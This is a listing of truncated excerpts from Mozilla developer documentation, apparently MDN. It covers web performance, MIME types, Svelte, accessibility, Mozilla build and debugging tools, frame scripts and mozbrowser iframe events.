...presenting structured data based on javascript object syntax, which is commonly used for representing and transmitting data on web sites (i.e. sending some data from the server to the client, so it can be displayed on a web page). you'll come across it quite often, so in this article, we give you all you need to work with json using javascript, including parsing the json so you can access data items within it and writing your own json. object building practice in previous articles we looked at all the essential javascript object theory and syntax details, giving you a solid base to start from. in this article we dive into a practical exercise, giving you some more practice in building custom javascript objects, which produce something fun and colorful — some colored bouncing balls. ass...
Multimedia: Images - Learn web development
this article looks at optimizing image and video to improve web performance. prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. objective: to learn about the various image formats, their impact on performance, and how to reduce the impact of images on overall page load time. ...
...eath-the-fold, rather than downloading them all on initial page load regardless of whether a visitor scrolls to see them or not. many javascript libraries can implement this for you, such as lazysizes, and browser vendors are working on a native lazyload attribute that is currently in the experimental phase. beyond loading a subset of images, next you should look into the format of the images themselves: are you loading the most optimal file formats? have you compressed the images well? are you loading the correct sizes? the most optimal format the optimal file format typically depends on the character of the image. the less colors an image has and the less photographic it is, the better it is to use the svg format. this requires the source to be available as in a vector graphic fo...
JavaScript performance - Learn web development
ucing the amount of javascript that is needed. some features requiring complex javascript can be done with a few lines of javascript. requiring a library for other features may improve developer experience, but is all that javascript required? is there a lighter weight or home spun solutions? some features may not be necessary, and though they may add some bling, is the cost of the feature in terms of performance worth it? remove unused code split the javascript into smaller files code-split javascript into critical and non-critical parts. module bundlers like webpack support code-splitting. optimize these smaller files minification reduces the number of characters in your file, thereby reducing the number of bytes or weight of your javascript. gzipping compresses the file further, a...
...web applications include a lot of javascript. many applications are built with a javascrpit framework, or multiple, with several additional dependencies. often times third party scripts and apis are added, including a/b testing, tracking pixels, and features like maps and support features. battery impact conclusion while optimizing your media files and scripts will get you very far along in terms of web performance optimization, everything that touches a web pages impacts performance. in the next article we take a look at some html features that can impact performance, including some attributes specifically created to improve performance. previous overview: performance next in this module the "why" of web performance what is web performance? how do users perceive performanc...
Learning area release notes - Learn web development
-side javascript frameworks module is now available. learn why frameworks exist, when you should use one (and when you shouldn't), what kinds of features are common to all frameworks, and how they relate to the vanilla javascript you may already know. once you have a general understanding of frameworks, move on to tutorial series covering popular frameworks like react, ember, and vue. our web forms learning module now has "test your skills" assessments accompanying the articles. april 2020 our new understanding client-side web development tools module has been released! learn the essentials of web development tooling, including what kind of tools exist, the command line, package managers, and how to assemble your own functioning tool chain. march 2020 you'll now find "test your skills" ...
...of web development tooling, including what kind of tools exist, the command line, package managers, and how to assemble your own functioning tool chain. march 2020 you'll now find "test your skills" assessments accompanying the articles in the following modules: css building blocks javascript first steps javascript building blocks introducing javascript objects january 2020 the html forms module has been significantly updated: it has been retitled web forms, and moved out of the html topic area to recognise that it covers more than just html form elements — it also covers styling, validation, the basics of how to send data and process it on the server, and more besides. it has new examples available and techniques covered. it has a new structure to make for a more effective...
Properly configuring server MIME types - Learn web development
information, as it has not been significantly updated in many years. background by default, many web servers are configured to report a mime type of text/plain or application/octet-stream for unknown content types. as new content types are invented or added to web servers, web administrators may fail to add the new mime types to their web server's configuration. this is a major source of problems for users of gecko-based browsers, which respect the mime types as reported by web servers and web applications. what are mime types? mime types describe the media type of content either in email or served by web servers or web applications and are intended to help guide a web browser in how the content is to be processed and displayed. examples of mime types are: text/html for normal web pa...
...r content is to be processed. for example, a web site oriented for web developers might wish to send certain example html documents as either text/html or text/plain in order to have the documents either processed and displayed as html or as source code. if the browser guesses the mime type, this option is no longer available to the author. security some content types, such as executable programs, are inherently unsafe. for this reason these mime types are usually restricted in terms of what actions a web browser will take when given content of that type. an executable program should not be executed on the user's computer and at most should cause a dialog to appear asking the user if they wish to download the file. mime type guessing has led to security exploits in internet explorer whic...
Framework main features - Learn web development
your components — or for the application as a whole. although each framework’s approach to defining the styles of a component is slightly different, all of them give you multiple ways to do so. with the addition of some helper modules, you can style your framework apps in sass or less, or transpile your css stylesheets with postcss. handling dependencies all major frameworks provide mechanisms for handling dependencies — using components inside other components, sometimes with multiple hierarchy levels. as with other features, the exact mechanism will differ between frameworks, but the end result is the same. components tend to import components into other components using the standard javascript module syntax, or at least something similar. components in components one key benefit...
...re than one library) that helps developers implement client-side routing in their applications. testing all applications benefit from test coverage that ensures your software continues to behave in the way that you'd expect, and web applications are no different. each framework's ecosystem provides tooling that facilitates the writing of tests. testing tools are not built into the frameworks themselves, but the command-line interface tools used to generate framework apps give you access to the appropriate testing tools. each framework has extensive tools in its ecosystem, with capabilities for unit and integration testing alike. testing library is a suite of testing utilities that has tools for many javascript environments, including react, vue, and angular. the ember docs cover the tes...
Getting started with Svelte - Learn web development
have limited experience of the modern tooling ecosystem. svelte sticks closely to the classic web development model of html, css, and js, just adding a few extensions to html and javascript. it arguably has fewer concepts and tools to learn than some of the other framework options. it's main current disadvantages are that it is a young framework — its ecosystem is therefore more limited in terms of tooling, support, plugins, clear usage patterns, etc. than more mature frameworks, and there are also less job opportunities. but it's advantages should be enough to make you interested to explore it. note: recently svelte has added official typescript support, one of its most requested features. we'll look at it later on in this tutorial series. we encourage you to go through the svelte t...
...l is much more than that. it's an online tool that allows you to create complete apps, save them online, and share with others. it's the easiest way to start playing with svelte from any machine, without having to install anything. it is also widely used by svelte community. if you want to share an idea, ask for help, or report an issue, it's always extremely useful to create a repl instance demomstrating the issue. let's have a quick look at the svelte repl and how you'd use it. it looks like so: to start a repl, open your browser and navigate to https://svelte.dev/repl. on the left side of the screen you'll see the code of your components, and on the right you'll see the running output of your app. the bar above the code lets you create .svelte and .js files and rearrange them. to...
Accessibility information for UI designers and developers
times the font size set spacing following paragraphs to at least 2 times the font size set letter spacing (tracking) to at least 0.12 times the font size set word spacing to at least 0.16 times the font size this does not mean that your page needs to offer controls to make such changes, merely that if someone does these things in a custom stylesheet, they should not break the interface. forms in forms, provide labels for all controls. this includes form elements like inputs and select boxes, but also buttons. for form elements, it should be clear what kind of input is expected. placeholders are best avoided for this, as they are often too low in contrast. it is more helpful to describe what an input element is for in text just above or underneath the input. error recovery when you...
...data in a system when recording tests responses in those cases, ensure users can change submissions, automatically check for errors. or provide an opportunity to review the input before submitting it. use default controls controls that are built into browsers come with a lot of accessibility for free. for example, the select element displays an ideal mobile interface on mobile operating systems like android and ios. on desktop with a keyboard, it lets people type a character, say ‘k’, to jump directly to options starting with ‘k’. it is recommended to use native controls, visibly or under the hood. links vs buttons to keep your interface in line with user expectations, use links for interactions that go somewhere (on the current page or another page) and buttons for interactio...
Information for External Developers Dealing with Accessibility
contains info on accessible roles, states and events. accessible toolkit checklist a list of what needs to be done for accessibility when building new toolkits, widget by widget. ...
...contains info on accessible roles, states and events. accessible toolkit checklist a list of what needs to be done for accessibility when building new toolkits, widget by widget. ...
Mozilla Plugin Accessibility
problem planned solution owner targeted completion 1. all browser keys unavailable when plugin has focus focused plugins currently have no choice but to consume all keyboard events. the new plugin api will allow plugins to bubble unused keypresses to the browser. this will allow keyboard users to still access menus, close the current page, scroll, move back and forward in history, etc. ...
... be responsible for bubbling up shift+tab and tab when the user has reached the end of the tab cycle within the plugin. the bug tracking this work is bug 93149. ? no target 3. many plugins lack accessibility api support most plugins that work with mozilla do not yet support accessibility apis. a notable acception is the adobe pdf plugin on windows, which supports msaa. in other cases, vendors need to find or be convinced of the business justification so that resources are applied to the problem. plugin vendors. unknown 4. seamonkey has no message bar for plugin installation the message bar will be ported to seamonkey as part of the toolkit merging work that will occur for xulrunner. mozilla community no target ...
Frequently Asked Questions for Lightweight themes
introducing lightweight themes what are lightweight themes? lightweight themes are easy-to-install, easy-to-use skins that change the look of your firefox web browser. there are hundreds of thousands community-designed themes to choose from, with more added every day. start looking here for designs that fit your style. what kind of computers and operating systems do lightweight themes work with? lightweight themes work with any type of computer that has firefox installed. this includes mac, linux, windows, and android platforms. what can lightweight themes do? lightweight themes change the header area of your browser, including the tab text color and the background tab colors. you can easily preview a design and install it without needing to restart. installing lightweight themes ...
...hemes can i create my own theme? absolutely! all you need to do is create two graphics files in your favorite graphics editing program (e.g., photoshop). to get started read more about how to create a theme. are there any content guidelines? yes. we are big fans of creativity, but want to ensure that the art displayed in the themes gallery meets a basic set of guidelines. please review the terms of service and conditions of use for authoritative and complete language. do i still retain ownership over artwork that i upload? yes. your artwork will always be your artwork. after creating a lightweight theme, can i edit the design? yes. if at any point you need to edit or delete your theme design after it has been submitted to the gallery, you can access it from the submissions dashboard.
Benchmarking
d. another option that is on by default in non-release builds is the preference javascript.options.asyncstack, which provides better debugging information to developers. set it to false to match a release build. (this may be disabled for many situations in the future. see bug 1280819. accelerated graphics especially on linux, accelerated graphics can sometimes lead to severe performance problems even if things look ok visually. normally you would want to leave acceleration enabled while profiling, but on linux you may wish to disable accelerated graphics (preferences -> advanced -> general -> use hardware acceleration when available). flash plugin if you are profiling real websites, you should disable the adobe flash plugin so you are testing firefox code and not flash jank problems. i...
... the exact value of the precision is controlled by the privacy.resistfingerprinting.reducetimerprecision.microseconds about:config flag. ...
Building Mozilla
in this article, we list documents that will guide you in building firefox or other projects based upon mozilla code. ...
... in this article, we list documents that will guide you in building firefox or other projects based upon mozilla code. ...
Choosing the right memory allocator
allocating memory in xpcom these are general purpose memory-management routines that you should use unless your code falls into one of the other categories below. use these if you link against xpcom or xpcom glue; this includes extensions with binary components. see the xpcom string guide for additional information. ...
...i must use these routines for allocating memory they plan to pass to the javascript runtime. see jsapi reference for further information. js_malloc() js_realloc() js_free() js_strdup() arena allocators nspr exposes arena allocators that can be used to efficiently allocate lots of small, uniformly sized objects. presshell arena nsipresshell::allocateframe() and nsprescontext::allocatefromshell() can be used to allocate memory from an arena maintained by the presshell. these should only be used to allocate objects that are guaranteed to have a shorter lifetime than the presshell in question (typically layout data structures), because the presshell destructor will wipe out the arena, leaving any pointers to memory allocated from it dangling. the corresponding deallocators are nsipre...
Debugging
hat you can use when debugging. documentation topics debugging on top of the mozilla platform debugging javascript code how to debug javascript code, with a focus on debugging code in the mozilla project itself. debugging a xulrunner application tips and suggestions that will help you debug your xulrunner based application. debugging update problems learn how to debug update problems in mozilla-based applications. debugging the mozilla platform using debuggers with mozilla debugging mozilla on windows faq questions (and answers) about debugging mozilla on windows. debugging mozilla on os x questions (and answers) about debugging mozilla on os x. debugging mozilla with gdb gdb is our pri...
... ...
Makefile - variables
no_dist_install inhibit generating and copying exports/install targets into $(moz_objdir)/dist/install. .ns_printing objs obj_suffix filename suffix to use when writing object files. module instructs the build system where to install exported headers. simple_programs suppress_default_rules inhibit processing of makefile tier targets/directory processing will be unordered. tier build order dependencies - subdirectories for make to traverse prior to building current. xpidl_module module name to use when generating .xpt files, default to module. xpidlsrcs internal: a ...
... note: values will be appended to the export variable when present. os_ variable description os_arch platform type os_target target binary type if building on an intermediate platform(building mobile binaries on gnu/linux). host_ variable description host_cmsrcs a list of .m sources to compile host_cmmsrcs a list of .mm sources to compile host_objs host_os_arch arch of real platform a target platform is being built on(building mobile binaries on gnu/linux). distribution/release variables variable description dist top lev...
Updating NSPR or NSS in mozilla-central
the nspr and nss sources in mozilla-central are maintained by the nspr and nss teams and always taken from exports of hg tags. do not check in individual changes. if you check in an individual change by mistake, your change will be lost when the nspr and nss teams push a new hg tag to mozilla-central. (because some developers might not be aware that nspr/nss are separately maintained and released, the mozilla hg server rejects accidental changes/forking, if the required keywords are missing in the commit comment.) if nspr or nss must be upgraded to a new static tag, follow this procedure: before starting, make sure your local repository is updated to mozilla-central tip and that there are no local changes: $ hg status -mard pull the new sources $ python client.py update_n...
...ct update the minimum required system nss version in old-configure.in. this is for builds with --with-system-nss. for example, in the following, "3.16.1" would be replaced with the new nss version. moz_arg_with_bool(system-nss, [ --with-system-nss use system installed nss], _use_system_nss=1 ) if test -n "$_use_system_nss"; then am_path_nss(3.16.1, [moz_native_nss=1], [ac_msg_error([you don't have nss installed or your version is too old])]) fi commit the update: $ hg commit -a in order to eliminate any problems related to how nss and nspr are built differently in firefox than they are standalone, you should push your commit to try first. if your update fails linking because of missing nss or nspr symbols, add the missing symbols to config/external/nss/nspr...
pymake
pybuild is no longer supported! see bug 1027890. make.py (and the pymake modules that support it) are an implementation of the make tool which are mostly compatible with makefiles written for gnu make. prerequisites if running windows, you need to have a windows build environment installed for using pymake to build mozilla. on other operating systems (linux, os x, etc), pymake itself only requires python 2.6 or higher (but not python 3). please note that python 2.7 is strongly recommended. usage if you use mach for everything, you don't have to worry about gmake and pymake: mach will run whatever is best for the current machine. note: on windows, you must take special care to be able to switch back and forth between gmake and pymake on the same object dir. see gmake vs. pym...
.../c/foo/bar) path. ...
Eclipse CDT Manual Setup
ug", so if "obj-debug" is not the name of your main object directory, then adjust the regular expression as necessary. add a recursive, regular expression "exclude all" filter for files with name matching "\.(?:rej|orig|o|pp|swp)$" to exclude .rej, .orig, .pp, .o, and .swp files. add "exclude all" filters for any other non-source directories that you've added to your source tree (e.g., xcode or msvc project directories). click ok to close the filters window, wait for eclipse to finish processing your resource filters, then make sure the filtered directories and files have disappeared from the project explorer tab on the left. also, if your main object directory is in your source tree, and not somewhere outside it, make sure that it has not disappeared from the project explorer tab. reop...
...eleased as of august 2013), there will be a more user-friendly way to specify this (see http://wiki.eclipse.org/cdt/user/newin83#toolchains). building the index once you see the end of the build output in the console tab and the build item has disappeared from the progress tab, you can start indexing the source. if indexing started automatically (see the progress tab), cancel it, since there seems to be a bug that makes it give bad results when it starts automatically at this stage. right-click the project root in the project explorer tab and select "index > rebuild". you will now see "indexing..." in the status bar at the bottom right and an indexing item in the progress tab. it will take 10 minutes or so on a decent developer machine for a full rebuild of the index. once the indexer has...
Gecko Logging
verbose 5 a message that will be printed a lot, useful for debugging program flow and will probably impact performance. ...
...void dostuff() { moz_log(slogger, loglevel::info, ("doing stuff.")); int i = 0; int start = time::nowms(); moz_log(slogger, loglevel::debug, ("starting loop.")); while (i++ < 10) { moz_log(slogger, loglevel::verbose, ("i = %d", i)); } // only calculate the elapsed time if the warning level is enabled. if (moz_log_test(slogger, loglevel::warning)) { int elapsed = time::nowms() - start; if (elapsed > 1000) { moz_log(slogger, loglevel::warning, ("loop took %dms!", elapsed)); } } if (i != 10) { moz_log(slogger, loglevel::error, ("i should be 10!")); } } enabling logging the log level for a module is controlled by setting an environment variable before launching the application. it can also be adjusted by setting prefs. by default all logging...
Error codes returned by Mozilla APIs
error occurs when an attempt is made to read from a non blocking stream yet there is not enough data available to read without waiting for more. document and node errors the following errors can occur when using documents, nodes and elements. ns_error_dom_index_size_err (0x80530001) an attempt was made to adjust the value of a text node using an index that was out of range. ns_error_dom_domstring_size_err (0x80530002) an attempt was made to create a string larger than is supported. ns_error_dom_hierarchy_request_err (0x80530003) a node was inserted into a location where it cannot go. for instance, a node cannot be inserted into a descendant of itself. ns_error_dom_wrong_document_err (0x80530004) an operation was performed on a document involving a node that was created in a diff...
... components.results ...
Multiple Firefox profiles
running in the background, even though it was not visible. close all instances of firefox, or restart the computer, and then try again. if you want to do this frequently and more easily, you may wish to create an automator application, as explained in this tutorial. creating a profile creating a profile through the profile manager these instructions should be the same for all operating systems. to start the create profile wizard, click "create profile..." in the profile manager. click next and enter the name of the profile. use a profile name that is descriptive, such as your personal name. this name is not exposed to the internet. you can also choose where to store the profile on your computer. to select storage location, click choose folder.... if you choose your folder locatio...
...step. leave off the profile name if you want the profile selector to show up every time you launch. setting up multiple profiles for different firefox channels this section will be especially helpful if you are a developer, wanting to work with multiple channels, and each having their separate launcher. windows in windows, the developer and nightly builds get their own directory in the "programs" folder, so you don't have to worry about where to store the downloaded files. however, all three will attempt to use the same profile by default. you won't want to keep this behavior, because the different channels have different levels of features. to set each launcher, follow the windows instructions at windows launcher. linux in linux, things aren't as automatically set up. you will likely ...
Limitations of frame scripts
many privileged apis will just work in a content process. anything that just manipulates data structures will just work. xhr and workers will work. however, some apis that work in the chrome process will not work in a frame script. this article lists the most important of these apis. this is one of a pair of articles: the other one lists limitations of chrome scripts. security restrictions on file access processes that host remote content are isolated from the local system through a content security sandbox. ...
...e window from that (note: i'm not really sure how...). nsiaboutmodule by default, custom about: pages registered using nsiaboutmodule are loaded in the chrome process. this means that you can't access their content from the content process (via xhr, for example). you can change this default in the code you use to register the about: uri. see about: and chrome: uris. javascript code modules (jsms) in multiprocess firefox, a jsm loaded into the content process does not share any state with the same jsm loaded into the chrome process. see the entry in the limitations on chrome scripts page. ...
Frame script loading and lifetime
d, other than closing the tab they were loaded into. to listen for an event, when your frame script is unloaded (due to tab close for instance), you must set the third argument of addmessagelistener to true. for example, from bootstrap.js: services.mm.addmessagelistener( 'my-addon-id', { receivemessage: function() { console.log('incoming message from frame script:', amsg.data); } }, true // must set this argument to true, otherwise sending message from framescript will not work during and after the unload event on the contentmessagemanager triggers ); then in your frame script, listen for the unload event of the message manager (which is the global this), and sending a message. if you did not set the third argument to true in bootstrap.js on ser...
...ade when your add-on is uninstalled, or disabled, you should: cancel it, if you have used allowdelayedload, by calling removedelayedframescript; ensuring the frame script is not loaded into any new tabs. disable any frame scripts already loaded. there is no mechanism to unload frame scripts which are already loaded. you need to send a message to your frame scripts, telling them to disable themselves; for example, by undoing any changes they've made or removing any event listeners. there is a bug in non-e10s where this order is not true. in e10s framescripts work fine on updating. for non-e10s waiting for bug 1202125 - framescripts are not backwards loaded in message order in non-e10s. note: you might think that there is a race condition here due to the asynchronous nature of the m...
Limitations of frame scripts
many privileged apis will just work in a content process. anything that just manipulates data structures will just work. xhr and workers will work. however, some apis that work in the chrome process will not work in a frame script. this article lists the most important of these apis. file i/o you should not write to or read from the disk from a frame script, in particular, the profile directory. even if this is possible, you should not do it and may expect that it could stop working at any time. ...
...d-on transparently available in the content process. to avoid the shim: if you need to access the content of your about page from the content process, you need to register the nsiaboutmodule in the content process as well as the chrome process. by default, about: pages (except for a small whitelist) are loaded in the chrome process when browsed to from the awesomebar. javascript code modules (jsms) in multiprocess firefox, a jsm loaded into the content process does not share any state with the same jsm loaded into the chrome process. see the entry in the limitations on chrome scripts page. ...
Message manager overview
message manager, there's a parent process message manager (ppmm) in the parent process. there's also a single global parent process message manager (gppmm) in the parent process, that provides access to all the parent process message managers. the diagram below shows the setup that would result from having two child processes: with the gppmm, you can broadcast messages to the cipmm and all cpmms. with a ppmm, you can send a message to its corresponding cpmm. with a cpmm, you can send messages to the parent process: these messages are received first by the corresponding ppmm, then by the gppmm. from firefox 38 onwards, you can also use a parent process message manager to load a script into a child process. this is the recommended way to load a script that executes just once per child pro...
...s something you might want to do if you are interacting with some global service (for example, adding listeners to observer notifications or registering a content policy). parent process global parent process message manager description the global parent process message manager (gppmm) is global to the parent process. messages sent using the gppmm get sent to all cpmms in all child processes. process scripts loaded using the gppmm get loaded in all child processes. its most important functions and attributes are: childcount : contains the number of children (child processes, plus the in-content child) getchildat() : get the child at the given index loadprocessscript() : load a process script into every content process broadcas...
Performance
up on addon unload bad: all the previous examples, *even the "better" ones* if your addon is restartless or uses the sdk then updates or the user turning it off and on will load to unload/reload events. not handling those properly can lead to duplicate or conflicting code execution, especially when messages are sent. it can also lead to conflicts between the old and new code. under some circumstances it may even cause exceptions when attempting to register something twice under the same id. better: // addon.js function onunload() { services.mm.removedelayedframescript("resources://my-addon/framescript.js"); services.ppmm.removedelayedprocessscript("resources://my-addon/processcript.js"); services.mm.broadcastasyncmessage("my-addon:unload"); services.ppmm.broadcastasyncmessage(...
...remove interactive ui elements that would be inert with the addon ...
Firefox
with broad compatibility, the latest in web technologies, and powerful development tools, firefox is a great choice for both web developers and end users. firefox is an open source project; much of the code is contributed by our huge community of volunteers. here you can learn about how to contribute to the firefox project and you will also find links to information about the construction of firefox add-ons, using the developer tools in firefox, and other topics. ...
...settings, customizations, add-ons, and other personalizations that a user has made or installed into their copy of firefox. you can find details about profiles on mozilla's end-user support site.performance best practices for firefox front-end engineersthis guide will help firefox developers working on front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox. always keep in mind the side effects your changes may have, from blocking other tasks, to interfering with other user interface elements.privacythis document lists privacy-related documentation.security best practices for firefox front-end engineersthis article will help firefox developers understand the security controls in place and avoid common pitfalls...
mozbrowsererror
ozbrowsererror event is fired when an error occurs while trying to load content within a browser <iframe>. ...
... type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. detail the detail property returns an anonymous javascript object with the following properties: type a domstring representing the type of error that occurred. possible values are: fatal(crash) unknownprotocolfound filenotfound dnsnotfound connectionfailure netinterrupt nettimeout cspblocked phishingblocked malwareblocked unwantedblocked offline malformeduri redirectloop unknownsockettype netreset notcached isprinting deniedportaccess proxyresolvefailure proxy...
mozbrowserfindchange
is includes htmliframeelement.findall(), htmliframeelement.findnext(), and htmliframeelement.clearmatch(). general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: active a boolean indicating whet...
...r the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: active a boolean indicating whether a search is currently active (true), or not (false.) searchstring a domstring representing the string that is currently being searched for. searchlimit a number indicating the maximum number of searches that can be returned. numberofmatches a number indicating the number of matches returned by the search. activematchordinal a number indicating the position of the currently highlighted search result, e.g. 3 out of 5. example var browser = document.queryselecto...
mozbrowsericonchange
ch-icon">) is available in the browser <iframe>'s content. it will be fired once for each icon available. ...
...type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: href a domstring representing the path to the new icon. sizes a domstring listing the sizes the new icon is available in, e.g. "16x16" or "16x16 32x32". the any keyword can also be used, to represent "any size." rel a domstring representing the rel attribute value from the <link> element used to link to the icon. example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbr...
mozbrowserloadend
to stop spinning a loading indicator, or update the ui in some other way to indicate loading is complete. ...
...can be used to make the theme of the surrounding ui complement the theme of the currently loaded content, for example. ...
mozbrowserlocationchange
ge event is fired when a browser <iframe>'s location changes — it is fired every time navigation occurs. ...
... cangoback a boolean that defines whether it's possible to go back in the navigation history (true) or not (false). cangoforward a boolean that defines whether it's possible to go forward in the navigation history (true) or not (false). ...
mozbrowseropensearch
i.e. when an instance of <link rel="search" type="application/opensearchdescription+xml"> is encountered. ...
...ype read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: title a domstring representing the title of the search engine. href a domstring representing url of the search engine. example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropensearch", function( event ) { console.log("new search engine encountered: " + event.details.title); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozb...
mozbrowserscrollviewchange
the mozbrowserscrollviewchange event is fired when asynchronous scrolling (i.e. apcz) starts or stops. ...
...ype read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: state a domstring representing the current state of scrolling in the viewport — available values are started and stopped. example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserscrollviewchange", function( event ) { console.log("scrolling has " + event.details.state + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbro...
Overview of Mozilla embedding APIs
(...) method. using this function, one can use nsisupports instances and still easily access other interfaces via nsiinterfacerequestor. internally, this function tries to convert the nsisupports argument into an nsiinterfacerequestor and then calls getinterface(...) to retrieve the requested interface. do_queryreferent this function is the equivilent of do_queryinterface except that it performs the qi through a weak reference. do_getservice this function simplifies accessing services from the service manager. do_createinstance this function simplifies creating new component instances. nscomtypeinfo<interface-type>::getiid() this template helper class allows easy access to an interface's nsiid. typically the ns_get_iid(...) macro is used instead of using the nscomtypeinfo tem...
...wser exposes access to the system clipboard via the nsiclipboardcommands interface. this interface supports cut/copy/paste operations on the current selection within the webbrowser window. printing (not yet implemented) printing the contents of a domwindow within a webbrowser is a two step process. first, the printer and page options are collected via the nsiprintoptions interface. on most platforms this involves displaying a native print dialog box. once all of the options have been set, the nsiwebbrowserprint interface is used to print the contents of the desired domwindow. searching searching within a nswebbrowser is controlled via the nsiwebbrowserfind interface. the search is always performed within the domwindow which currently has the focus. focus management focus managment within the...
Embedding Mozilla
gecko allows third-party developers to use the same technology as found in mozilla. that means you can embed a web browser inside a third-party application, open channels and streams through the network backend, walk through the dom and so on. you can even construct whole new applications using chrome. documentation gecko embedding basics an introduction to embedding the gecko rendering engine. embedding tips some frequently asked questions about embedding. mozilla embedding apis overview introduction to the mozilla embedding apis. ...
...chrome. documentation gecko embedding basics an introduction to embedding the gecko rendering engine. embedding tips some frequently asked questions about embedding. mozilla embedding apis overview introduction to the mozilla embedding apis. embedding the editor this document describes the current state of editor embeddability, problems with the existing implementation, some possible embedding scenarios that we need to deal with, and an embedding solution that will fulfil them. roll your own browser - an embedding howto a quick introduction to embedding mozilla. view all... community view mozilla forums... mailing list newsgroup rss feed #embedding irc channel r...
Hacking with Bonsai
hacking mozilla with bonsai bonsai was originally created to solve the problem of tree instability. the original navigator code base had large sections that were shared across multiple platforms. many times, code checked in would compile or run on a handful of platforms. also, with as many as 100 engineers, it was very difficult to determine what happened in the tree that caused the instability. bonsai was created to solve these problems. the process everyone who checks into the tree, joins a group called "the hook" at 8:00 am pst every weekday morning, the source tree is closed. the build team will then pull the 8:00 am tree, and build it on a subset of the platforms, linux, win32 & macppc. at 10:00 am, everyone who is on the hook is available in case the build breaks eventually, t...
... rules no checkins when the tree is closed unless you are fixing a build problem at the request of a build person. if you are on the hook, your top priority is to be available to the build team to fix bustages. if you are on the hook, you are findable. you are either at your desk, or pageable, checking e-mail constantly, or on irc so that you can be found immediately and can respond to any problems in your code. helpful attitudes the build team are your friends. they are doing a not-so-fun job, so treat them with respect. people are "on the hook" collectively. don't just blame a certain team and walk away. ...
How to add a build-time test
tables to add a test that is written in c or c++ and which is called as a standalone executable, a few things must be done. for standalone executables, if one sets up the right variables, then the rules.mk file will do lots of magic and most of the heavy lifting. a simple example of adding a test is in . note that the following variables are supplied by the rules.mk file: cppsrcs, simple_programs, run_test_program. xpcshell tests here are the simple guidelines for adding an xpcshell test to the build system. for now, enclose your test-related code (in the makefile) with ifdef enable_tests run the test program from the "check" target in the makefile. (example to run the testcookie program) in the test program: if the test fails, exit with a non-zero status and/or print th...
...st program from the "check" target in the makefile. (example to run the testcookie program) in the test program: if the test fails, exit with a non-zero status and/or print the string "fail" to stdout if the test passes, exit with a zero status and don't print the string "fail" (bonus points for printing "pass" :) ) write the test so that you expect it to pass on all platforms, since if the test fails, the tree will go orange (once we've set this up - see bug 352240 for status). for example, to add an xpcshell test to a module, do the following: copy tools/test-harness/xpcshell-simple/example to yourmoduledir/tests_type, wheretests_type is something that describes your tests. you can of course use unit or test if you're not feeling creative. in <tt>yourmoduledir...
Integrated Authentication
(rfc 2478) to negotiate either kerberos, ntlm, or other authentication protocols supported by the operating system. spnego is commonly referred to as the "negotiate" authentication protocol. mozilla does not have its own internal implementation of spnego. instead, it leverages system libraries that provide spnego; sspi on microsoft windows, and gss-api on linux, mac osx, and other unix-like systems. the mozilla implementation of spnego can be found under extensions/auth/. it used to live in extensions/negotiateauth. mozilla also supports raw ntlm authentication using an internal implementation (based on the documentation provided by eric glass) that supports ntlmv1/lmv1 and ntlm2 session key modes. as of mozilla 1.7, there is no support for ntlmv2/lmv2. this is mainly due to the fact that...
...he mozilla implementation of spnego can be found under extensions/auth/. it used to live in extensions/negotiateauth. mozilla also supports raw ntlm authentication using an internal implementation (based on the documentation provided by eric glass) that supports ntlmv1/lmv1 and ntlm2 session key modes. as of mozilla 1.7, there is no support for ntlmv2/lmv2. this is mainly due to the fact that ntlmssp does not provide a means to negotiate use of ntlmv2/lmv2. <i>this document is incomplete ...</i> flow diagram the diagram below shows how various components interact. configuration by default, mozilla rejects all spnego challenges from a web server. this is to protect the user from the possibility of dns-spoofing being used to stage a man-in-the-middle exploit (see bug 17578 for more info...
Examples
this copy/paste code here will complete succesfully: components.utils.import("resource://gre/modules/promise.jsm"); var mypromise = myuserdefinedpromise(); mypromise.then( function(asuccessreason) { alert('mypromise was succesful and reason was = "' + asuccessreason + '"'); }, function(arejectreason) { alert('mypromise failed for reason = "'...
....png', 'https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png']; change it to: var imagepaths = ['http://www.mozilla.org/media/img/firefox/favicon.png', 'https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png', 'blah blah']; i added 'blah blah' to that array, it will cuase the whole promise to reject. the case of unhandled rejections one of the difficult problems with promises is locating uncaught rejections. warning: when consuming promises, you should always handle or report errors (rejection reasons). see handling errors and common pitfalls. rejection handlers provide information about the exact error time and location, but the handlers may sometimes be forgotten. consider the following cases: function f() { return promise.reject(new error("boom...
Services.jsm
nsole nsiconsoleservice error console service contentprefs nsicontentprefservice content preferences service cookies nsicookiemanager2 cookie manager 2 service cpmm nsimessagesender child process message manager4 crashmanager crashmanager.jsm dirsvc nsidirectoryservice nsiproperties directory service domstoragemanager nsidomstoragemanager dom storage manager domrequest nsidomrequestservice domrequest service downloads nsidownloadmanager download manager droppedlinkhandler nsidroppedlinkhandler dropped link handler service els nsieventlistenerservice event listener service etld nsieffectivetldservice effectivetld servi...
